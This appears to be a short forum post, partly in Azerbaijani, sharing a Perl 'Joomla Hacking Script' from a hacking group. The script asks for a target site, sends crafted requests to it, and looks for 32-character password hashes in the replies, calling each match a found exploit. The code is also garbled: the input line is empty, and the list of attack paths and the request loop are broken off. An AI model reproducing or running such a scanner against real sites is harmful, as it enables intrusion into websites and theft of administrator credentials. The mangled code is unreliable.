Notepada Yazıb PL Şəklində Yaddaşa Verin...
Kod:
#!/usr/bin/perl
#Joomla Hacking Script
#Editor by Syn
#www.cybergrup.org
use LWP::UserAgent;
use HTTP::Request;
system "clear";
print "\tEdit By Syn\n\n";
print "\tHack Joomla Script\n\n";
print "\tConnect : evilc0der\@live\.no\n\n";
print "\tpriv8 cybergrup\n\n";
print "Enter the sample address\n\n";
$site=;
chomp($site);
if($site !~ /http:\/\//){
$site = "http://$site";
}
@bugs=(open file,'new(GET=>$victim);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);
if ($an=~/([0-9a-z]{32})/){
print "Great!- Founded !\n";
print "Exploit is : \n$victim\n";
}
else{
print "Was searched but found.\n";
}
print $test ."\n\n\n";
th4nk cybergrup